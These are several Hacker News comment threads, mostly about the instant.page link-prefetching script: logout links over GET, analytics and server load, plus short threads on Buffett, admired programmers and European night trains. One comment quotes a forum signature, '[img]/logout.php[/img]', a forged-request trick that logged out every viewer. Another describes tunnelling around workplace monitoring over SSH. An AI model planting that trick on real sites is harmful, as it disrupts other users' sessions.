Idempotency is not the issue, the issue is that a user might hover over the
logout link, not click it, then move on to the rest of the site and find they
are logged out for no reason.
~~~
leesalminen
Right, which is why the included library includes an HTML attribute to disable
prefetch on a given link.
~~~
pbreit
OP’s point was that logout should not be implemented with a link/GET but
instead with a button/POST for exactly this reason.
~~~
leesalminen
A logout action is idempotent, though. You can't get logged out twice. In my
opinion, that's the use case for a GET request.
I just checked NewRelic, Twilio, Stripe and GitHub. The first 3 logged out
with a GET request and GitHub used a POST.
~~~
zepolen
Idempotency has nothing to do with it. Deleting a resource is idempotent as
well. You wouldn't do that via GET /delete
A GET request should never, _ever_ change state. No buts.
Just because a bunch of well known sites use GET /logout to logout does not
make it correct.
Doing anything else as demonstrated in this and other cases breaks web
protocols, the right thing to do is:
GET /logout returns a page with a form button to logout POST /logout logs you
out
~~~
derefr
Depends on your definition of “state.” A GET to a dynamic resource can build
that resource (by e.g. scraping some website or something—you can think of
this as effectively what a reverse-proxy like Varnish is doing), and then
cache that built resource. That cache is “state” that you’re mutating. You
might also mutate, say, request metrics tables, or server logs. So it’s fine
for a GET to cause things to happen—to change _internal_ state.
The requirement on GETs is that it must result in no changes to the observed
_representational state_ transferred to any user: for any pair of GET requests
a user might make, there must be no change to the representation transferred
by one GET as a side-effect of submitting the other GET first.
If you are building dynamic pages, for example, then you must maintain the
illusion that the resource representation “always was” what the GET that built
the resource retrieved. A GET to a resource shouldn’t leak, in the transferred
representation, any of the internal state mutated by the GET (e.g. access
metrics.)
So, by this measure, the old-school “hit counter” images that incremented on
every GET were incorrect: the GET causes a side-effect observable upon another
GET (of the same resource), such that the ordering of your GETs matters.
But it _wouldn’t_ be wrong to have a hit-counter-image resource at
/hits?asof=[timestamp] (where [timestamp] is e.g. provided by client-side JS)
that builds a dynamic representation based upon the historical value of a hit
counter at quantized time N, and _also_ increments the “current” bucket’s
value upon access.
The difference between the two, is that the resource /hits?asof=N would never
be retrieved until N, so it’s transferred representation can be defined to
have “always been” the current value of the hit counter at time N, and then
cached. Ordering of such requests doesn’t matter a bit; each one has a
“natural value” for it’s transferred representation, such that out-of-order
gets are fine (as long as you’re building the response from historical
metrics,
~~~
zepolen
Don't be a wise ass, with that definition state changes all the time in memory
registers even when no requests are made.
> So, by this measure, the old-school “hit counter” images that incremented on
> every GET were incorrect
Yes they are incorrect. No Buts.
Two requests hitting that resource at the same exact timestamp would increase
the counter once if a cache was in front of it.
------
js4ever
Each time you hover over a link it's doing a GET request bypassing the cache
(cache-control: max-age), even if you hove the same multiple times. Also this
will make all your analytics false... Except that indeed this can improve
greatly the user sensation of speed
~~~
mariopt
The analytics should only be triggered is the page is rendered, assuming it's
done client side. I believe Google does this for first top 3 results if I'm
not mistaken.
~~~
hombre_fatal
Good point.
What would be a good way to avoid prefetch requests in your analytics if you
only derive analytics from server access logs?
~~~
8bitben
Most browsers pass a "purpose:prefetch" or similar HTTP header in the prefetch
request that you can use to differentiate
~~~
hueving
Then how do you know when they actually go to the page? Do you need client
side analytics at that point since the browser already has the page in memory?
------
cjblomqvist
It seems everybody is missing this but this could actually slow down your
experience, and I'd actually guess it will in some scenarios (ie. not only a
theoretical situation).
Considering a user hovering over a bunch of links and then clicking the last
one, and doing this in a second. Let's assume your site takes 3 sec to load
(full round-trip) and you're server is only handling one request at a time
(I'm not sure how often this is the case, but I wouldn't be surprised if
that's the case within sessions for a significant amount of cases). Then the
link the user clicked would actually be loaded last, after all the others -
this probably drastically increase loading time.
The weak spot in this reasoning is the assumption that you're server won't
handle these requests in parallel. Unfortunately I'm not experienced enough to
know whether that happens or not, but if so, you should probably be careful
and not think that the additional server load is the only downside (which part
like is a negligible downside).
~~~
bherms
It actually cancels the previous request when you hover over another link
~~~
collinmanderson
Client side canceled doesn’t necessarily translate to server side canceled.
I used to use a preload-on-hover trick like this but decided to remove it once
we started getting a lot of traffic. I was afraid I’d overload the server.
~~~
x15
I'd also hesitate wasting resources in such a way.
About your first statement though, which server software do you use that still
sends data after the client has closed the connection? Doesn't it use
hearbeats based on ACKs?
~~~
hombre_fatal
The server is still doing all of the work in its request handlers regardless
of whether client closed the connection.
~~~
jsjohnst
Not if the server is setup correctly.
~~~
hombre_fatal
That doesn't make sense. You can't just "config a server" to do this. Even if
a web framework tried to do this for you, it would add overhead to short
queries, so it wouldn't be some universal drop-in "correct" answer.
Closing a connection to Postgres from the client doesn't even stop execution.
~~~
jsjohnst
> You can't just "config a server" to do this.
Unless you are focusing on the word _server_ and assuming that has nothing to
do with the framework/code/etc, then I can assure you it can be done. I’ve
done it multiple times for reasons similar to this situation. I profiled
extensively, so I definitely know what work was done after client disconnect.
Many frameworks provide hooks for “client disconnect”. If you setup you’re
_environment_ (more appropriate term than _server_ , admittedly) fully and
properly, which isn’t something most do, you can definitely cancel a majority
(if not all, depending on timing) of the “work” being done on a request.
> Closing a connection to Postgres from the client doesn't even stop
> execution.
There are multiple ways to do this. If your DB library exposes no methods to
do it, there is always:
pg_cancel_backend() [0]
If you are using Java and JDBI, there is:
java.sql.PreparedStatement.cancel()
Which _does_ cancel the running query.
If you are using Psycopg2 in Python, you’d call _cancel()_ on the connection
object (assuming you were in an async or threaded setting).
So yes, with a bunch of extra overhead in handler code, you could most
definitely cancel DB queries in progress when a client disconnects.
[0] [http://www.postgresql.org/docs/8.2/static/functions-
admin.ht...](http://www.postgresql.org/docs/8.2/static/functions-admin.html)
------
rurcliped
Many people browse the web from an employer who has rules about what types of
pages may be accessed. For example, a person applying for a job with my team
may include a link to a web page about their job-related background --
portfolio.html or whatever. HR tells us to be sure we don't follow links to
any other page that may be more personal in nature, such as a page that
reveals the applicant's marital status (which can't legally be considered in
hiring decisions here). HR doesn't want to deal with complications from cases
where we reject an applicant but there's a log entry showing a visit to, say,
family.html from our company's IP address block. We'd prefer that prefetching
isn't a default.
There's also log analysis to identify the set of web pages visited by each
employee during work hours, and an attempt to programmatically estimate the
amount of non-work-related web browsing. This feeds into decisions about
promotions/termination/etc. Prefetching won't get anyone automatically fired,
but we'd still prefer it isn't a default.
~~~
hombre_fatal
Jesus. I hope they pay you well for that.
I've heard a lot of stories of ridiculous rule-by-HR culture, but that's so
extreme it sounds made up.
~~~
nextos
I don't think it's made up, because I experienced the same thing in a pretty
well-known European research center...
Of course, had I known about these practices in advance, I would have declined
the job offer. But I didn't. I ended up quitting a few weeks later anyway.
IT would monitor all connections from all employees and send a report to upper
management with summary statistics, on a monthly basis.
I was told this was the case by a fellow worker during my second day there, so
I tunneled my traffic through my home server via SSH. When IT asked me why I
had zero HTTP requests, I reminded them that monitoring employees traffic was
illegal under our current legislation. Doing this in a university-like non-
profit research center is hard to justify.
~~~
lucasverra
So they asked you you are surfing the web on a insecure protocol that can
compromise internal data ?
Couldn't you just say "I just dont use http anymore because this X company
data is very valuable to me" ?
------
rprime
Is this a re-rebranding? I remember using something similar 4-5 years ago
(instant.js/instantclick).
But quite an interesting little thing, especially useful for older websites to
bring some life into them. The effect is very noticeable.
~~~
dieulot
Kind of. It’s different than InstantClick in that it uses <link
rel="prefetch"> and can thus be embedded in one minute, while InstantClick
transforms a site into an SPA and require additional work.
It’s a different product. The initially planned name for it was “InstantClick
Lite”.
~~~
rprime
Oh interesting, I'll give this a go.
------
jypepin
This is a feature available on most web frameworks today (for example Link's
prefetch on Next.js), but still could be very useful for smaller website and
other static pages not using such frameworks.
I'd be a little wary of using a script from an unknown person without being
able to look at the code - I'd rather see this open source before using.
Especially being free and MIT licensed, I don't see why it wouldn't be open.
~~~
devinl
In the technical details, he has a link to the open source on github. Here's
the js that's actually doing the preloading:
[https://github.com/instantpage/instant.page/blob/master/inst...](https://github.com/instantpage/instant.page/blob/master/instantpage.js)
~~~
jypepin
I stand corrected then, thanks for sharing :) I missed that part!
------
saagarjha
Perhaps this something that a browser should be doing, instead of websites
themselves?
~~~
hunter2_
The heuristics to exclude logout links and the like would be very disruptive.
Those decisions need to be in the website author's hands.
However, I think if browsers had this, but off by default until seeing tags to
enable it along with any exclusions, that would be great.
~~~
chrisseaton
I think it would only prefetch GET links, which never have side effects.
~~~
hombre_fatal
There's nothing stopping GET requests from having side effects.
It's like pointing to a list of best practices and saying "everyone surely
follows these."
For example, someone changed their signature to `[img]/logout.php[/img]` on a
forum I posted on as a kid and caused chaos. The mods couldn't remove it
because, on the page that lets you modify a user's signature, it shows a
signature preview. Good times.
~~~
arendtio
I think it was a joke as GET requests are not supposed to change anything, but
often they do (probably because many devs don't know about, understand or
respect the RESTful concept).
EDIT: For completeness, I have to add, that I am also part of the group of
people who have violated that concept. Maybe neither frequently nor recently,
but I did it too :-/
~~~
chrisseaton
> understand or respect the RESTful concept
It's nothing to do with REST. It's part of the HTTP spec and has always been,
that "GET and HEAD methods should never have the significance of taking an
action other than retrieval".
~~~
arendtio
Well, if I am not mistaken, REST is just the articulated concept on which HTTP
was built. So yes, the HTTP spec (probably) existed before REST became a term
itself, but in the end, there is no reason to argue if REST defines it or
HTTP.
------
benologist
Embedding via // without explicit SSL should probably be considered harmful or
malicious as there is no reason to make such scripts available without SSL.
Even if the end website is not using SSL users can still fetch your script
securely.
~~~
dieulot
There’s no security gain from going to HTTPS if the site is served over HTTP,
but there’s a small speed hit.
~~~
benologist
The communication between the user and example.com downloading the page
referring to your script is secured by their SSL if they have it.
Separately to that, the communication between the user and your server when
downloading your script is secured by your SSL. This can be secure even if
example.com is not, so it should only be secure.
~~~
esrauch
If the first html load isn't on SSL, and someone is able to intercept your
traffic, they can change the embedded https url to be a non-https url anyway,
so I can't even imagine the attack that is prevented by using https into
something loaded over http.
~~~
benologist
Absolutely correct. But this is the website owner's problem and their
consequences for not using SSL. You can't help or prevent this because it's
not your server, it's not your fault they enabled insecure communication that
can be exploited.
When you forgo SSL on your own server someone can also intercept your script
in exactly the same way, they don't need to hack the website embedding your
script. Now they are your consequences, your fault there's no SSL, and your
problem may be affecting everyone who embedded your script insecurely.
------
ams6110
Not sure how I feel about this. I often hover over a link to see where it is
linking to, see if it has a title, etc. But that's probably not typical of
most users. And I don't do it on sites I use often and am familiar with.
~~~
jolmg
I feel this fails a user expectation that simply hovering over a link doesn't
inform the server of anything.
It's curious you mention checking where links link to, because I think that's
also another user expectation failure. The url that appears in the status bar
below (or what was once a status bar) is not necessarily the link's true
destination. You can go to any google search results page, hover over the
links in the results and compare with the href attributes in the <a> tags.
They're different. It looks like you'd be going directly to the page that's on
the URL, but you're actually first going to google and google redirects you to
the URL you saw.
It used to be that checking the url in the status bar allowed you to make sure
the link really would take you to where the text made you think it would take
you, but that's no longer the case. It seems one can easily make a link that
seems like it would take you to your bank and then take you to a phished page.
~~~
asdfasgasdgasdg
> I feel this fails a user expectation that simply hovering over a link
> doesn't inform the server of anything.
I would bet 99%+ of web users do not have a sufficiently detailed mental model
of web pages that this is something they've decided one way or the other.
~~~
breck
Agreed, my expectations are the opposite.
Google Analytics et al, allow custom events which are used to record mouse
overs, clicks, et cetera on a majority of websites. I always just assume
everything I do, down to page scrolls and mouse movements, is recorded.
~~~
thecatspaw
Yes and people block those for privacy reason.
------
muppetman
I'm curious how this is better than Google quicklink
([https://github.com/GoogleChromeLabs/quicklink](https://github.com/GoogleChromeLabs/quicklink))
which is something I have active on my site currently. Can someone with more
technical knowledge point out which of these two "instant pages" solutions is
better?
~~~
dieulot
Same preloading technique but quicklink preloads more agressively.
------
ahnick
Why use this script as an include from the instant.page domain? I think if I'm
going to use this I'm just going to serve this script up myself from my own
servers.
~~~
nicolashahn
Good call, I just switched my site to hosting the script itself.
------
6c696e7578
Nice idea for HTTP/1.x, however, isn't this what HTTP/2.0 [1] is meant to
achieve by pushing components at the user?
1:
[https://en.wikipedia.org/wiki/HTTP/2_Server_Push](https://en.wikipedia.org/wiki/HTTP/2_Server_Push)
~~~
wldlyinaccurate
The main difference being that instant.page respects users' data allowances by
prefetching only resources that it thinks the user intends to load. You could
combine it with H2 push and/or prefetch response headers to improve the load
times even more :)
~~~
odensc
It probably respects their data allowances even less, considering it
completely re-fetches the page every time you hover over the link.
------
alpb
I also staged it on my blog and it's working awesome
[http://staging.ahmet.im/blog/index.html](http://staging.ahmet.im/blog/index.html)
. I wonder if CMS tools or static site generators (Hugo, Jekyll, Pelican etc)
should have an option for rel="preload". But I guess it still requires some JS
for preload on hover, so is this library going to take off now?
------
hokus
Great stuff, I started doing this in 2006 but manually. I made an unofficial
google toolbar for Opera[1] that (in the unreleased final version lol) also
loaded the images from the search pages when one hovered over the toolbar
icons.
It took a lot of tweaking to give it the right feel. imho it shouldn't start
fetching to fast in case the mouse is only moved over the link. Loading to
many assets at the same time is also bad. Some should preload with a delay and
hovering over a different link should discontinue preloading the previous
assets.
Perhaps there is room for a paid version that crawls the linked pages a few
times and preloads static assets. Who knows, perhaps you could load css, js
and json as well as images and icons.
Or (to make it truly magical) make the amount of preloading depend on how slow
a round trip resolves. If loading the favicon.ico (from the users location)
takes 2+ seconds the html probably wont arrive any time soon.
Fun stuff, keep up the good work.
[1]-
[http://web.archive.org/web/20130329183223/http://widgets.ope...](http://web.archive.org/web/20130329183223/http://widgets.opera.com/widget/4282/)
------
chatmasta
Will this cause problems with "links" that are entirely rendered on the client
side? i.e. using something like react-router... In that case, could it result
in the react app setting invalid state because it thinks the user is on a page
when it's not?
My guess is what would happen when "pre-fetching" a react-router link, is that
it would prefetch the JS bundle all over again for no gain.
------
tgb
I'm just surprised at how slow my hover-to-click time was (never got it below
100ms). Thought it would be <50ms for sure when trying hard.
~~~
hombre_fatal
I had the same reaction. On a trackpad, I take a casual 300ms to click the
damn link.
------
h1d
[https://reactjs.org/](https://reactjs.org/) does it pretty well too.
~~~
kylemathews
Yeah, it's built with Gatsby which has this sort of behavior baked in
[https://www.gatsbyjs.org/](https://www.gatsbyjs.org/)
------
dwheeler
This is cool, and the license as shown at
[https://instant.page/license](https://instant.page/license) is the well-known
MIT license, already known to be be an open source software license
[https://opensource.org/licenses/MIT](https://opensource.org/licenses/MIT)
A problem with the loading instructions is that it reveals, to an unrelated
site, every single time any user loads the site that is doing the preloading.
That is terrible for privacy. Yes, that's also true for Google Analytics and
the way many people load fonts, but it's also unnecessary. I'd copy this into
my server site, to better provide privacy for my users. Thankfully, since this
is open source software, that is easily done. Bravo!
------
elliotec
If you like to hyper optimize your site like me, and since it doesn't do any
good on mobile (Edit: apparently it works on mobile, ignore this), you can
have it selectively grab the script on desktop and save a few bytes like this:
<script type="text/javascript">
if (screen.width > 768) {
let script = document.createElement('script');
script.src = '//instant.page/1.0.0';
script.type = 'module';
script.integrity = 'sha384-6w2SekMzCkuMQ9sEbq0cLviD/yR2HfA/+ekmKiBnFlsoSvb/VmQFSi/umVShadQI';
document.write(script.outerHTML);
}
</script>
~~~
eridius
The site claims it works on mobile
> _On mobile, a user starts touching their display before releasing it,
> leaving on average 90 ms to preload the page._
------
rhacker
It does mean we're trusting your service - we're executing your JS on our
sites. But I do like that you're putting in the SHA hash so that we know
you're not fudging it.
Just found that you have the source available too :) So overall, this is
pretty cool.
------
chiefalchemist
I looked (quickly) through most of the comments below and couldn't answer
these questions:
1) What, if anything, is the downside here?
2) Is (Google) analytics effected by the prefetch? That is, does that get
counted as a page visit if the link that triggers this prefetch is not
actually clicked?
Tia
~~~
dieulot
The downside is that your pages’s HTML are loaded twice as much, this makes
for additional load on your server.
Client-side analytics like GA aren’t affected.
~~~
Semaphor
> The downside is that your pages’s HTML are loaded twice as much
How? It would load the HTML just as often and not download it a second time as
that would invalidate the usage
> this makes for additional load on your server.
True for users who hover over links they decide not to visit
Or am I misunderstanding something here?
~~~
Zarel
> How? It would load the HTML just as often and not download it a second time
> as that would invalidate the usage
I'm guessing you didn't read the linked article? It preloads after 65ms on
hover, at which point it estimates a 50% chance that the user will click.
Hence "loaded twice as much".
> True for users who hover over links they decide not to visit
Yes, that's the point.
------
ThomPete
Is this kind of like turbolinks which Basecamp uses?
~~~
glacials
Similar in effect, but not in method. Turbolinks fetches pages after a click
like normal, but swaps the body tag from the new page into the current page,
cutting local render times.
~~~
Savageman
Would it make sense to combine them? Instant turbo links.
~~~
sfusato
Yes, it would make lots of sense. If Turbolinks adds a 'prefetch' mechanism,
it will get even faster.
------
mars4rp
This is very nice idea, but isn't the problem initial liad time most of the
time? How could we solve that?
Does this also work for all the outgoing links as well? I don't want to
improve other sites rendering time at the expense of my own.
Very cool regardless.
~~~
s3krit
>but isn't the problem initial liad time most of the time? How could we solve
that?
Off the top of my head, a good way seems to be to write better sites that
don't include 10mb of javascript libraries.
------
randlet
Works very well for me.
dieulot, is there a small bug with the allowQueryString check?
const allowQueryString = 'instantAllowQueryString' in document.body.dataset
I think should be:
const allowQueryString = 'instantallowquerystring' in document.body.dataset
If I have:
<body data-instantAllowQueryString="foo">
then
'instantAllowQueryString' in document.body.dataset === false
and
'instantallowquerystring' in document.body.dataset === true
because html data attributes get converted to lowercase by the browser (I
think).
~~~
dieulot
Uppercase is converted to added dashes.
`document.body.dataset.instantAllowQueryString` corresponds to `data-instant-
allow-query-string`.
~~~
randlet
Cool thanks! Didn't know that.
------
sfusato
What would be the best way to integrate this in an app that already uses
Turbolinks?
~~~
ksec
Exactly my thought. May be even better is to have it included in the next
version of Turbolinks.
------
lucb1e
It doesn't seem to work for me. There are no JavaScript errors in the console*
but the <button> that says "test your clicking speed" doesn't even have an
event attached to it. Hovering over anything for multiple seconds doesn't fire
any requests in the network panel.
Anyone else having this issue?
* Well, there's this, but I assume it's not dependent on google... `Loading failed for the <script> with source “hxxps://www.googletagmanager.com/gtag/js?id=UA-134140884-1"`
~~~
dieulot
Are you using an older browser? It sounds like your browser doesn’t support JS
modules.
~~~
lucb1e
I... Never heard of JavaScript modules. I feel very out of date now. Anyway,
yeah, I'm using the latest Firefox that still supports real addons, some of
which aren't even possible to reimplement using the latest APIs in nightly.
~~~
itmeyou
I don't know exactly what that version was, but you may be able to use
about:config to enable JS modules.
------
hunter2_
I don't know that the presence of a query string is a great indicator of
whether the link causes state change (cue the typical GET immutability
arguments, etc.).
For example, in Drupal every path (whether or not it causes state change) has
2 forms: "/?q=path/to/page" (when you don't have access to .htaccess or .conf)
and "/path/to/page" (when you do, and you enable clean URLs).
~~~
hopler
Back when standards mattered, state changes were only in PUT, POST, and DELETE
------
codingdave
The downside to this would be hovering over a document list, where you might
pass by 15 records, GETting them all, until you click the one you really
wanted.
But it is a clever idea. Applied carefully, it could give the impression of a
speedier site. Of course, I see no reason to need a 3rd party for this...
updating event handlers to operate this way shouldn't be outside the abilities
of most web developers.
------
kieranhunt
I wrote a very minimal GreaseMonkey script that adds this to every page:
[https://github.com/KieranHunt/instant.page/raw/master/instan...](https://github.com/KieranHunt/instant.page/raw/master/instant.page.user.js)
------
blattimwind
"49 ms from hover to click" \-- I guess I'm not exactly the target audience...
However, I find it very good the posted snippets include SRI, which sadly to
this day almost every script CDN omits. The code is also small enough to just
include it in projects, which avoids the external request entirely.
~~~
thecatspaw
I thought that as well, but then I realised that I was literally moving my
cross over the button and clicking as fast as I can. Thats not how I usually
browse the web. I move my cursor usually where I am reading, which includes
links, so I am hovering over it before I have decided to click it
~~~
blattimwind
I usually move the cursor out of the way, because I dislike it covering text
or images. So when I do click on something I actually move over there and
click immediately. How fast that goes is pretty much the textbook case of
Fitts' law.
------
ayoisaiah
Wow this looks really great. Just tried it on my website[0], and page loads
are pretty much instantaneous. However, it doesn't seem to work in Firefox 67
(Nightly). Does that mean it only works in Chrome?
[0]: [https://freshman.tech](https://freshman.tech)
~~~
dieulot
Firefox has a bug that makes it redownload the page if that page is not
cached.
~~~
mkl
If the page is not cached, where is the browser going to get it except by
redownloading?
------
lol768
I guess nobody has mentioned this yet, but it presumably doesn't work on
mobile?
I wonder if you could do something similar simply by looking at the viewport
and loading all the links within the currently visible part of the page. Might
be overkill though and end up wasting the user's data.
~~~
CGamesPlay
From the article:
> On mobile, a user starts touching their display before releasing it, leaving
> on average 90 ms to preload the page.
~~~
lol768
Not sure how I missed that, thanks :)
------
PaulHoule
A "1% improvement in conversion rate" is a big claim to make for a claim that
seems so small.
That is, if you wanted to prove that "X is better than Y by 1%" you would need
a sample approaching 10,000 attempted conversions to have a hope of having a
good enough sample.
~~~
tonmoy
And I assume that’s why the author has put 4 references to that claim
------
demarq
I wish there were more examples on that page though. Where can I test this
being used extensively?
------
akras14
Sounds too good to be true, but also brilliant. Curious what others think.
What are the downsides?
~~~
ddebernardy
Assuming you use the script as suggested, letting a 3rd party site know your
stats (and users) sounds like a non-trivial downside.
I'd surmise the author is benevolent, but if this were to be turned into a
business, some kind of data play seems like the trivial next step.
~~~
shaklee3
As other comments have pointed out, you can run the js locally from your site
instead.
------
NPMaxwell
Where does their code get inserted? I could imagine it might help if it were
added to the page you were linking from, but the site seems to indicate the
code gets added to page you want to have load quickly -- the page you're
linking to.
~~~
dieulot
On the pages you’re linking from.
------
ian0
It would be great to deploy this on hacker news itself, at least on the "see
comments" link of the main page. Page-loading is already blazingly fast, but
my latency is still a bit high as I use a mobile internet connection.
~~~
neillyons
You could try injecting the script yourself using a chrome extension.
[https://chrome.google.com/webstore/detail/custom-
javascript-...](https://chrome.google.com/webstore/detail/custom-javascript-
for-web/poakhlngfciodnhlhhgnaaelnpjljija?hl=en)
------
technotarek
Make it opt-in (vs opt-out)? As best I can tell, there is only the blacklist
functionality (via a markup attribute). I can imagine many use cases where it
would be far easier to only activate where a link has .instant-page.
------
desertrider12
I thought chrome already did this. Somebody else here pointed out that's
impossible in general because even regular GET requests can have side effects.
I wonder what it's doing with 1.6 GB of memory then...
------
broth
I’m wondering if a possible use case for this is to use it to warm up app
servers when doing deployments?
Enumerate through a list of pages on your site and use something like
Puppeteer to simulate hovering over links on each page.
~~~
thijsvandien
Why would you simulate hovering over links if you can just visit those URLs
directly? If you want all links anyway, you lose the real optimization here,
which is not the preloading itself, but limiting that to the (small) subset
that a particular user seems interested in.
------
the_arun
This is a good optimization. However, it is like pushing the mud under the
carpet. It’ll hide real problem. I would rather fix the root cause of slow
rendering pages and then use this trick to make it better.
~~~
Zelphyr
I think it _could_ be used that way. If used properly, however, you’d make
sure all your other ducks are in a row before using something like this as
icing on the cake, so to speak.
But you make an important point.
------
SkyLinx
I have just added it to a Shopify store to try it and it does indeed speed
things up! However I am a little concerned with adding a script from another
website... it requires a lot of trust, doesn'it?
~~~
nicolashahn
As another comment mentioned, you can just host the script on your own site.
~~~
SkyLinx
Of course.... I was confused with the Cloudflare Workers thing... I just added
the code directly to the website and it works fine. Thanks.
------
amelius
This should be implemented at the browser level, not in a webpage.
------
joepour
This is awesome! Added it to all the public pages of
[https://tinytracker.co](https://tinytracker.co) \- thank you, @dieulot :)
------
neillyons
This is really impressive! I noticed the script uses `const` and `let` which
might cause javascript errors in older browsers
([https://caniuse.com/#search=let](https://caniuse.com/#search=let)) so I ran
it through the Google Closure compiler to compile it down to ES3 and it works
great. [https://closure-compiler.appspot.com/home](https://closure-
compiler.appspot.com/home)
I've added it to my blog and a Django side project. Really speeds up page
loads. Just need to add `data-no-instant` attribute to the logout link.
~~~
dieulot
It’s loaded as a module so older browsers won’t execute it (and thus won’t
choke on the modern syntax).
~~~
neillyons
Oh. Interesting. I didn't know about modules.
------
leesalminen
Looks very good! Love the landing page.
Testing on my dev box now. I’ll be rolling this out to a subset of users next
week. Cool stuff!
------
Wowfunhappy
Can this be easily tweaked to preload images as well, if desired? Or is their
exclusion inherent in the method used?
~~~
calibas
As far as I can tell it just downloads the page. Nothing is parsed until you
click the link, so there really isn't a reliable way of telling which images
to load until then.
You could write something to parse the page and download images, but I don't
recommend it. You risk a significant performance hit for the client, and a lot
of wasted bandwidth for both client and server.
------
huhtenberg
Does anyone know how using <link href=...> (this method) compares to using a
hidden <iframe src=...> ?
------
bigbadgoose
Just set this up on guidevinetech.com, injected via tag manager. Works a
treat, pages are definitely _fast_
------
hartator
Is there a demo somewhere? Beside the actual site that seems really well
optimized already.
------
fouric
I wonder if you could use Greasemonkey to inject this into pages client-
side...
------
alexpetralia
This sounds like a computer processor's branch prediction algorithm.
~~~
thijsvandien
Let's wait and see what creative ways will be found to exploit this
optimization as well. :)
------
faitswulff
Reminds me of this optimization by Netflix: [https://medium.com/dev-
channel/a-netflix-web-performance-cas...](https://medium.com/dev-
channel/a-netflix-web-performance-case-study-c0bcde26a9d9#1b0c)
The talk
([https://www.youtube.com/watch?v=V8oTJ8OZ5S0](https://www.youtube.com/watch?v=V8oTJ8OZ5S0))
was one of the most watchable performance optimization talks I've seen.
TLDR - they used a combination of the link prefetch technique, which works for
HTML but is not fully supported by all browsers, as well as XHR prefetching,
which will work for prefetching Javascript and CSS.
------
geophertz
Could this be made as a browser extension?
------
gsich
Why not make the page itself faster?
[https://forum.dlang.org/](https://forum.dlang.org/)
click on subforums and threads.
------
homero
Can we see the Cloudflare Worker?
~~~
dieulot
I plan to release it later on.
------
amelius
Probably doesn't work with an agent that doesn't support hover events. Such as
on tablets and smartphones.
~~~
hn_throwaway_99
Did you read the page? It uses touchstart events on mobile.
~~~
DenisM
This comment is against the guidelines:
[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)
> "Did you even read the article? It mentions that" can be shortened to "The
> article mentions that."
~~~
hn_throwaway_99
Thanks for the callout, my apologies.
------
mraza007
Can I use this for static pages
~~~
dieulot
Yes.
------
hartator
Also, how this can be free?
I thought CloudFlare was charging workers based on number of requests.
~~~
dieulot
Cloudflare offers a free Pro plan to open source projects, I asked for Workers
instead.
~~~
hartator
Awesome.
------
ryukoposting
...I just keep my website lightweight, so I don't need to preload stuff...
------
xivzgrev
Fascinating!
------
papaman
Live demo on my site as well @
[https://pokatheme.com/](https://pokatheme.com/)
------
papaman
what kind of sorcery is this?
------
harshulpandav
How does this work on devices with touch screen?
(My apologies if this question has already been raised)
~~~
avip
(Your apology was rejected as it's clearly stated in the ultra short OP)
It prefetches on touch event while a "click" is normally triggered by a touch
release.
~~~
msla
> It prefetches on touch event while a "click" is normally triggered by a
> touch release.
So now I can't even touch my screen without being taken somewhere else,
because I don't know where all the active areas are.
------
superkuh
I wouldn't want to expose my various site's users to third party code
execution like this.
| {
"pile_set_name": "HackerNews"
} |
Warren Buffett: Buying Berkshire Hathaway Was $200 Billion Blunder - NonEUCitizen
http://finance.yahoo.com/news/Warren-Buffett-Buying-cnbc-1784378699.html
======
kgermino
Dup: <http://news.ycombinator.com/item?id=1804277>
| {
"pile_set_name": "HackerNews"
} |
Ask HN: The Best Programmers' you've ever read - jfaucett
In my free time, I try to read the source code of projects I think are interesting, and in the course of my years I've found some programmers I've really come to respect. I was wondering if you guys would be willing to list out the programmer(s), and their projects whose source code helped you learn and become better developers? For instance here's a quick list of guys who've influenced my programming and whose source code has taught me lot:<p>Javascript:
- Jeremy Ashkenas: Backbone, CoffeeScript
- John Resig: jQuery<p>PHP:
- Fabien Potencier: Symfony2
- Leo Feyer: Contao
- Kasper Skårhøj: Typo3<p>C:
- Salvatore Sanfilippo: Redis
======
jps359
donald knuth
------
brius
RMS.
------
mrose
C: - Brian Fox: Bash
~~~
jfaucett
Thanks for the comment!I just downloaded the Bash source from GNU. Its on my
next to read list :)
~~~
mrose
A great book for C, and programming in general if you ask me, is The C
Programming Language, by Brian Kernighan and Dennis Ritchie
<http://en.wikipedia.org/wiki/The_C_Programming_Language>
| {
"pile_set_name": "HackerNews"
} |
High Speed Trains are Killing the European Railway Network - gvb
http://www.lowtechmagazine.com/2013/12/high-speed-trains-are-killing-the-european-railway-network.html
======
furyg3
For European HNers (or travelers) I plea for you to use the night trains, keep
them alive.
One example: Between Amsterdam & Bern - Skybus flies for €86 (1.5 hours) and
the CityNightLine train is €80 for a bed (11.5 hours). Other routes are
comparable, you can pay a bit more for your own (non-shared) compartment.
Economically it seems crazy to take these night trains, and I never even
bothered until a recent business trip from Amsterdam to Munich.
It was great for many of the reasons mentioned in the article and other
comments here: leave and arrive in the city center, no security, no gate
closing time, no baggage restrictions/pick-up/lost luggage, have a beer or
dinner on board at a real bar or table, use your laptop/phone/ereader whenever
you like, lie down, take a shower, whatever. Basically it's like flying the
night before with a free (albeit basic) hotel stay thrown in.
I'm worried that too many people dismiss the night trains too easily (like I
did), and that these will be relegated to the history books. In my opinion
that would really be a tragedy.
Plane travel has turned into a elementary school bus trip. The train is still
a grown-up alternative.
~~~
aclimatt
I'm not so sure.
I took the fated _Trenhotel Joan Miró_ that the author talks about. It was a
little over 100€ and covered the distance in twelve hours, like the author
said. After getting off that train, economically I could not fathom why
anybody would ever subject themselves to that experience again.
The 100€ got me a seat in the back of the train in a semi-reclined seat (the
least expensive ticket I could buy). I booked it about four weeks in advance.
For 150€, I could get an actual bed to sleep in (four to a compartment), and
the price/service level went up from there. If the train had free food or even
just free water, Wi-Fi, showers, and such like you describe (at least at that
price level), it'd potentially be a different experience. But Trenhotel's
stock is about as old as it gets, and what you get for the base price of 100€
makes for quite an unfortunate twelve hours.
I just went to Vueling, and I can fly from Barcelona to Paris for 40€ in two
hours. Even with security, time to/from the airport and such, I'm still saving
time and money. Copious amounts of baggage is the only thing left out, but I
could pay 100€ to check piles and piles of bags, and now I spend slightly more
than the Trenhotel and arrive five times faster.
High speed trains make sense for semi-long distances. Paris to Amsterdam is a
great example. Three hours on modern equipment is very doable, and a plane
ride can't beat that in time (fixed costs of security and required early
arrival are too high). Comfort is superior, and the price will come down. The
author makes the point that the cost is 2x but the travel time is only
slightly faster. These routes were just inaugurated, and the stock is fresh
out of the factory. Give it a few years, and they will come down. I'll bet you
the old "vintage" routes that the author pines over were pretty darn expensive
when they too were first inaugurated.
For the <4 hour trips, high speed rail is excellent, and I believe those
prices will fall. But anything longer than that, forget the night trains.
They're only semi-useful for tourists and backpackers, and I'm shocked they
